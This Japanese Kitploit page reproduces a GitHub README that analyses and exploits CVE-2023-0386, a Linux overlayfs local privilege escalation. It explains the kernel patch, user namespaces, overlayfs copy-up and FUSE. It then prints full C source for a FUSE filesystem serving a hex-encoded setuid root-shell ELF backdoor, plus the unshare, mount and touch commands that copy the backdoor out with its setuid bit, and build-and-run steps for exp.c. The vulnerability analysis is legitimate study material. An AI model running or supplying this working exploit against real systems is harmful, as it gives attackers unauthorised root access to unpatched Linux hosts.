Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-0386 — CVE-2023-0386 分析とエクスプロイト | Kitploit
ツール/GitHubGitHub/chenaotian/cve-2023-0386
特権昇格脆弱性分析エクスプロイトファジング学習と教育バイナリエクスプロイト
GitHubchenaotian/cve-2023-0386

CVE-2023-0386

CVE-2023-0386 分析とエクスプロイト

リポジトリを見る
124213年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

README

root@kitploit:~
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

image-20230421161145840

脆弱性分析

本記事の理論知識(名前空間、オーバーレイファイルシステム、FUSEファイルシステム等)はすべてchatGPTから得たものです。

脆弱性の概要

脆弱性ID: CVE-2023-0386

脆弱性製品: linux kernel - オーバーレイファイルシステム

影響範囲: 5.11 ~ 5.19

利用条件: unshare可能、またはオーバーレイファイルシステムを作成可能

利用効果: ローカル権限昇格

環境構築

自分でカーネルをコンパイルする:

脆弱性対象バージョン範囲内で、5.15以外(5.15は問題があるらしい)のものを用意し、overlayとfuseの2つのfsを有効にする:

root@kitploit:~
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS

ubuntu 21.10 カーネルバージョン5.13.0-16-genericで動作確認済み:

image-20230421161145840

脆弱性の原理

脆弱性の分析に入る前に、chatGPTにlinuxカーネル専門家の役を演じてもらいましょう:

(chatGPTへの質問:これからあなたはlinuxカーネル専門家として振る舞い、私の質問に答えてください)

パッチ分析

脆弱性に関する公開情報は少なく、最も直接的には脆弱性のパッチ情報です。パッチのリンクは以下の通り:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

image-20230503165509094

ovl_copy_up_one関数に1つのチェックが追加されていることがわかります。まずchatGPTにこの関数の役割を尋ねてみましょう:

image-20230503214724428

つまり、この関数はオーバーレイファイルシステムの下層ファイルが上層にコピーされる動作の中で発生します。そして、文脈からこのパッチで新たに追加されたチェックを見ていきます:

root@kitploit:~
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
			   int flags)
{
	int err;
	DEFINE_DELAYED_CALL(done);
	struct path parentpath;
	struct ovl_copy_up_ctx ctx = {
		.parent = parent,
		.dentry = dentry,
		.workdir = ovl_workdir(dentry),
	};

	if (WARN_ON(!ctx.workdir))
		return -EROFS;

	ovl_path_lower(dentry, &ctx.lowerpath);
	err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 下層ファイルシステムのstatを取得
			  STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
	if (err)
		return err;
	//[2] パッチで追加:ファイルのstat属性内のユーザーIDとグループIDが現在の名前空間にマッピングされているかをチェック
	if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
	    !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
		return -EOVERFLOW;

[1] まずvfs_getattr関数で下層ファイルシステムのターゲットファイルの属性を取得する。vfs_getattr関数はファイルのstruct path構造を渡すことで、対応するstruct stat構造を取得する。

​ [1.1] ctx.lowerpathはオーバーレイファイルシステムの下層ファイルシステム内のあるファイルパス。オーバーレイファイルシステムについては後述。

​ [1.2] struct stat構造体はファイルのメタデータ情報(ファイルの所有者・所有グループなど)を格納する。取得されたファイルの所有者情報は、次のパッチで追加されたチェックで判定される。

[2] 次にkuid_has_mapping関数を呼び出し、先ほど取得したファイルの所有者情報と所有グループ情報を判定する。ターゲットファイルの所有者と所有グループが現在のユーザー名前空間にマッピングされているかをチェックする。

​ [2.1] kuid_has_mapping関数は2つの引数(struct user_namespaceユーザー名前空間構造体とstruct kuidカーネルユーザー構造体)を受け取り、指定されたユーザー情報が指定されたユーザー名前空間にマッピングされているかを判定する。名前空間におけるユーザーのマッピングについては後で詳しく説明する。

つまり、現在この脆弱性のある関数(ovl_copy_up_one)の操作を実行する際、もしターゲットの下層ファイルの所有者ユーザーまたは所有グループユーザーが現在の名前空間にマッピングされていない場合、処理に失敗するというのがパッチの意味である。

これでパッチの原理は明らかになった。しかし、それでも以下の問題を解決しなければ、この脆弱性の再現は完了しない:

  1. ターゲット関数ovl_copy_up_oneが存在するロジック、すなわちオーバーレイファイルシステムで下層ファイルが上層にコピーされる処理をどのようにトリガーするか?
  2. 所有者がマッピングされているかどうかを判定するファイルlowerpathは、上記のロジックチェーンでどのような役割を果たすのか?

これらの疑問を解く前に、いくつかの基本知識を整理しておく必要がある:

名前空間

(chatGPTへの質問:Linuxカーネルにおける名前空間について説明してください)

Linuxでは、名前空間(namespaces)はリソース分離を実現するためのカーネル機能です。名前空間を使用することで、一連のプロセスがあたかも独立したシステム環境で実行されているかのように見せることができ、システムのセキュリティと管理性が向上します。名前空間はコンテナ技術(Dockerなど)で重要な役割を果たし、コンテナが他のコンテナやホストシステムに影響を与えずに隔離された環境で実行されることを可能にします。

Linuxカーネルは7種類の名前空間(mount、pid、net、ipc、user、time、cgroup)をサポートしており、各名前空間は特定のシステムリソースを分離します。名前空間はclone、unshare、setnsなどのシステムコールを通じて作成、変更、管理されます。コンテナランタイム(Dockerなど)やその他の仮想化ツールはこれらの名前空間機能を活用して、コンテナに独立した隔離された実行環境を提供します。

ユーザー名前空間

脆弱性パッチで追加された判定関数kuid_has_mappingは、上記7つの名前空間のうち**ユーザー名前空間(user namespace)**に関連します。

(chatGPTへの質問:この中のユーザー名前空間について説明してください)

ユーザー名前空間(User Namespace)は、ユーザーID(UID)とグループID(GID)を分離するために使用されます。ユーザー名前空間を使用すると、異なる名前空間で独立したユーザー・グループIDのセットを使用できます。つまり、あるユーザー名前空間のユーザーやグループは、別の名前空間では異なるIDや権限を持つ可能性があります。ユーザー名前空間は、特にコンテナ化環境において、システムのセキュリティと管理性を向上させます。

ユーザー名前空間の重要な特性はIDマッピングです。ユーザー名前空間は、ある名前空間のUID/GIDを別の名前空間のUID/GIDにマッピングすることを可能にします。つまり、異なるユーザー名前空間では、同じUID/GIDが別のユーザーやグループを表す可能性があります。例えば、コンテナ内のrootユーザー(UID 0)は、ホストシステムでは非特権ユーザーにマッピングされることがあります。

以下の点だけ覚えておけば十分です:

  • 同じユーザー(グループ)でも、異なるユーザー名前空間ではuid(gid)が異なる
  • 新しいユーザー名前空間を作成する(作成動作を行う)ユーザーは、新しいユーザー名前空間内ではrootになる
  • 他のユーザーは手動で新しいユーザー空間にマッピングする必要がある(/proc/[pid]/uid_map; /proc/[pid]/gid_mapを変更する)。通常この操作には初期名前空間のroot権限が必要
  • マッピングされていないユーザーはnobodyとして認識される

例として、breezeユーザーで新しいユーザー名前空間を作成し、そのユーザー名前空間内でroot所有のファイルを表示すると、所有グループがnobodyと表示される:

image-20230503205416800

これは、新しい名前空間ではrootユーザーはその名前空間を作成したbreezeユーザーであり、初期名前空間のrootは手動で新しい名前空間にマッピングされていないため、新しい名前空間ではnobodyとして認識されるからです。

ここで、このパッチの意味がわかります:**コピー対象のオーバーレイ下層ファイルシステムのファイルについて、その所有者(グループ)ユーザー(グループ)が現在の名前空間にマッピングされている場合のみ、以降のコピー動作を継続し、そうでなければエラーを返す。**つまり、nobodyと認識されるようなケースはコピーに失敗するということです。

オーバーレイファイルシステム

原理

(chatGPTへの質問:Linuxにおけるオーバーレイファイルシステムについて説明してください)

オーバーレイファイルシステム(OverlayFS)は、Linuxカーネルの仮想ファイルシステムです。2つ以上の既存のディレクトリ階層("lower"および"upper"レイヤーと呼ばれる)を1つの統合されたビューにマージすることを可能にします。オーバーレイファイルシステムは、読み取り専用ファイルシステム(イメージなど)に書き込み操作を実装する場合に非常に有用であり、書き込み操作を重ね書き可能なレイヤーにリダイレクトできます。この方法はコンテナ技術(Dockerなど)で広く利用されており、軽量で高性能なファイルシステム仮想化ソリューションを提供します。

  1. Lower レイヤー:基本ファイルシステムレイヤーであり、通常は読み取り専用です。オーバーレイファイルシステムは1つまたは複数のlowerレイヤーを持つことができます。
  2. Upper レイヤー:書き込み可能なファイルシステムレイヤーであり、lowerレイヤーのファイルに対するすべての変更を保存します。これにはファイルの変更、作成、削除操作が含まれます。
  3. Workdir:upperレイヤーと同じファイルシステム内の書き込み可能なディレクトリであり、中間データやメタデータを格納してOverlayFSの正常な動作をサポートします。
  4. Merged レイヤー:仮想的で合成されたビューであり、lowerレイヤーとupperレイヤーをマージしたものです。ユーザーがオーバーレイファイルシステムにアクセスすると、このmergedレイヤーが見えます。このレイヤーでは、upperレイヤーからの変更がlowerレイヤーの対応するファイルを上書きします。同名ファイルの場合、upperレイヤーのファイルが優先されます。同名ディレクトリの場合はマージされ、ディレクトリ内のファイルに上下レイヤーの上書き・隠蔽関係があるかどうかのみ判定されます。

以下の図は、あるオーバーレイファイルシステムのディレクトリにおける実際の上下レイヤーファイルがmergeレイヤーのファイルに対応する効果を示しています:

image-20230504100543888

上層ファイルシステムは書き込み可能なので、ユーザーが上層のファイルを変更する場合は直接変更されます。しかし、ユーザーが下層ファイルシステムのファイル(図のfile Dなど)を変更しようとする場合、下層ファイルシステムは読み取り専用であるため、file Dは上層にコピー(copy up)されてfile D'になり、その後変更操作が行われます。実際に変更されるのは上層にコピーされたfile D'であり、下層ファイルシステムのfile D自体は変更されません。これがオーバーレイファイルシステムにおけるCOW(copy on write、コピーオンライト)です:

image-20230504103155100

オーバーレイファイルシステムの作成

(chatGPTへの質問:簡単なオーバーレイファイルシステムを作成する実際の操作例を教えてください)

以下の方法で、オーバーレイファイルシステムの作成方法を簡単に示します:

まず、lower1、lower2、upper、workディレクトリを作成します。これらのディレクトリはオーバーレイファイルシステムに使用されます。同時に、マウントポイント(例:merged)を作成してマージされたビューにアクセスします。そして、lower1およびlower2ディレクトリにいくつかのコンテンツを追加します:

root@kitploit:~
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt

mountコマンドと-t overlayオプションを使用してオーバーレイファイルシステムをマウントします。lowerdir、upperdir、workdirパラメータを以下のように指定します:

root@kitploit:~
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged

mergeディレクトリで上下レイヤーのファイルを確認できます:

image-20230503213819903

このディレクトリ内で新しいファイルを作成、ファイルを削除、ファイルを変更しても、上層ファイルシステムのみが変更され、下層には影響しません。例えば、新しいファイルを作成した場合(実際にはupperに作成されます):

image-20230503214009386

既存のファイルを変更する場合(ファイルをlower1からupperにコピーしてから変更):

image-20230503214138872

まとめると、脆弱性に関連するロジックは、オーバーレイファイルシステム内の下層からのファイルを変更しようとすると、まずそのファイルが上層ファイルシステムにコピーされ、その後変更動作が行われる、という点です。

脆弱性トリガーロジック

以上の分析から、脆弱性の全容をほぼ再現できます。オーバーレイファイルシステムでcopy up操作(下層ファイルの変更試行による下層→上層コピー)が発生した場合:

  • パッチのロジック:現在のユーザー名前空間にマッピングされていないユーザー(グループ)の所有者(グループ)を持つファイルはコピーできない。
  • 脆弱性のロジック:すべてのファイルが正常にコピーされる。現在のユーザー名前空間にマッピングされていないユーザー所有者のファイルも含む。

では問題は、なぜマッピングされていないユーザー所有者のファイルをコピーすると問題が発生するのか?

脆弱性の悪用

実は上の問題の答えは単純です。ファイルのコピーはファイルの内容だけでなく、ファイルのメタデータ(ファイルの所有者情報、タイムスタンプ、権限情報、さらにcapabilitiesなどの拡張情報も)すべて一緒にコピーされます。これにより引き起こされるリスクは、もし下層ファイルシステムがユーザーファイルシステム(fuseなど)であり、ユーザーが高度に制御可能で任意のファイルを定義できるが、そのファイルシステムにnosuidのような制限がある場合、この脆弱性により下層のユーザー定義のsuidファイルをnosuidファイルシステムから通常のファイルシステムにコピーでき、不正なsuidファイルがsuid特権を取得してしまう可能性があることです。これにより権限昇格が発生します。

FUSEファイルシステム

(chatGPTへの質問:FUSEファイルシステムについて説明してください)

FUSE(Filesystem in Userspace)は、ユーザー空間(カーネル空間ではなく)でカスタムファイルシステムを実装・実行できるファイルシステムインターフェースです。FUSEの設計目的は、ファイルシステムの開発と展開を簡素化し、同時に良好な性能と安全性を提供することです。FUSEはLinuxおよび他のUnix系システム(macOSやFreeBSDなど)で広く使用されています。

簡単に言うと、FUSEファイルシステムは、ユーザー空間でファイルシステムのコールバック関数(open、write、readdir、さらにはgetattrのようなファイルメタデータ情報など)を自分で定義できるようにするものです。

以下のFUSEファイルシステムコード(chatGPT作成)は、学習の例としても、後の脆弱性悪用にも使用できます:

(chatGPTへの質問:FUSEファイルシステムの簡単なコード例を教えてください。このファイルシステムにはhelloファイルがあり、ファイル内容は"helloworld"文字列で、このファイルはroot所有のsetuidファイルです)

簡単に修正(ファイル内容をバックドアのバイナリデータに変更、ファイル権限設定、ファイルサイズなどを調整):

root@kitploit:~
#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello";//fuseファイルシステム内にhelloという名前のファイル、ここはファイルパス
const char hello_str[] = {//fuseファイルシステム内のsuidバックドアファイルのバイナリ内容
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)//ファイルまたはディレクトリの属性情報を取得するコールバック関数getattr
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {//fuseファイルシステムのルートディレクトリの権限、0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {//helloファイルの権限、777かつSUID付き
    stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str); //helloファイルの実際のサイズ
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)//ディレクトリ情報を取得する関数
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) {//現時点ではfuseのルートディレクトリのみ表示可能
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0);//デフォルトで.と..を表示
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);//fuseルートディレクトリにhelloファイルが存在

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)//ファイルを開くopenコールバック関数
{
    if (strcmp(path, hello_path) != 0) {//helloファイルのみ開くことを許可
        return -ENOENT;
    }

    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)//ファイルを読むコールバック関数read
{
    size_t len;
    (void) fi;
    if(strcmp(path, hello_path) != 0) {//helloファイルのみ読み取り可能
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);//helloファイルの内容、すなわち上記のバイナリ配列を返す
    } else {
        size = 0;
    }

    return size;
}

static struct fuse_operations hellofs_oper = {//上記4つのコールバック関数のみ実装すれば十分
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);//コールバック関数を登録
}

上記のコードはFUSEファイルシステムを作成しますが、中にはhelloファイルだけが存在し、その内容はバイナリのバックドアプログラムであり、権限はroot所有のsetuidファイルです。4つのコールバック関数のみ実装しており、helloファイルの基本的な表示、オープン、読み取りのみ可能です。以下のコマンドでFUSEファイルシステムをコンパイルしてマウントできます:

root@kitploit:~
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs

すると、fusefsディレクトリ内にhelloファイルが表示され、root所有のsuidファイルであることがわかります:

image-20230504144546539

**しかし、通常のユーザーはsuidを有効にしてFUSEファイルシステムをマウントできません。つまり、通常のユーザーがマウントしたFUSEファイルシステムはすべてnosuidです。**そのため、このsuidバックドアファイルを実行しても、root権限を取得することはできません:

image-20230504144846572

脆弱性の悪用

次に、CVE-2023-0386脆弱性と上記のFUSEファイルシステムを使って権限昇格操作を完了します。

  1. まず、脆弱性シナリオに基づいてオーバーレイファイルシステムを構築します。下層ファイルシステムとしてFUSEファイルシステムを使用し、上層ファイルシステムとして書き込み可能なディレクトリを用意します。workdirなどのオーバーレイ関連ディレクトリを作成し、FUSEファイルシステムをマウントします。

    root@kitploit:~
    mkdir hello_mount_point  overlay_mount_point  upperdir  workdir # 関連ディレクトリを作成
    ./hellofs hello_mount_point                                     # FUSEファイルシステムをマウント
    

    image-20230504153904268

  2. 次に、新しいユーザー名前空間、マウント名前空間、PID名前空間を作成します。オーバーレイファイルシステムを作成するためにマウント権限が必要ですが、デフォルトではマウント権限がないため、新しい名前空間でマウント権限を取得する必要があります。

    root@kitploit:~
    unshare -Urm
    

    image-20230504153934490

  3. オーバーレイファイルシステムを作成します。上記のsuidバックドアファイルhelloを持つFUSEファイルシステムを下層とし、上層は書き込み可能なupperディレクトリとします:

    root@kitploit:~
    mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point
    

    image-20230504154022811

    現在のオーバーレイの効果は以下の図の通り:

    image-20230504114747720

現在の目標は、脆弱性を利用して、suidバックドアファイルをnosuidでマウントされたFUSEファイルシステムからupperファイルシステムにコピーすることです。upperファイルシステムはOSのデフォルトファイルシステムであり、suidが有効です。この操作により、バックドアファイルとそのsuid属性が一緒にコピーされます。そのため、現在オーバーレイファイルシステムのcopy up操作をトリガーする必要があります。この操作は通常、下層ファイルを変更しようとしたときに発生します。これが、FUSEファイルシステム内でhelloファイルの権限を777に設定した理由です。

touchコマンドの豆知識

ファイルの変更とは、ファイルの内容を変更することだけを指すわけではありません。ファイルのタイムスタンプなど、他の属性の変更もcopy up操作をトリガーします。touchコマンドは、既存のファイルに対して新しいファイルを作成しようとする場合、既存のファイルを上書きせず、ファイルのアクセス時間と修正時間のタイムスタンプのみを変更します。タイムスタンプ情報もファイルのattr拡張情報に含まれ、その情報が変更されると同様にオーバーレイファイルシステムの上層コピーがトリガーされます。

コールスタックは以下の通り。ファイルのアクセス・修正タイムスタンプを変更すると、ovl_setattrで上層コピー(copy up)がトリガーされます:

image-20230428112854184

  1. 上記の操作手順に戻り、オーバーレイファイルシステムのmergeディレクトリに入り、touchを使用してバックドアファイルhelloのタイムスタンプを変更するだけです:

    root@kitploit:~
    touch overlay_mount_point/hello
    

image-20230504154116918

ここでcopy upがトリガーされました:

image-20230504115008645

上層ディレクトリ(upperdir)を確認します:

root@kitploit:~
ls -al upperdir

image-20230504154216784

その後、名前空間を抜けてupperdir/helloを実行すると、rootシェルが取得できます:

image-20230504154316023

exp

exp.c を参照

コンパイルと実行:

root@kitploit:~
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

まとめ

このパッチの意義は、私たちが行ったような操作で権限昇格を試みる場合、初期名前空間のrootユーザーは新しいユーザー名前空間にマッピングされていない(特権が必要なためマッピングも不可能)ため、操作が失敗することです。もしそのユーザーが新しいユーザー名前空間に既にマッピングされている場合は、正当なシナリオと見なされます。

参考

chatGPT

ツールをダウンロード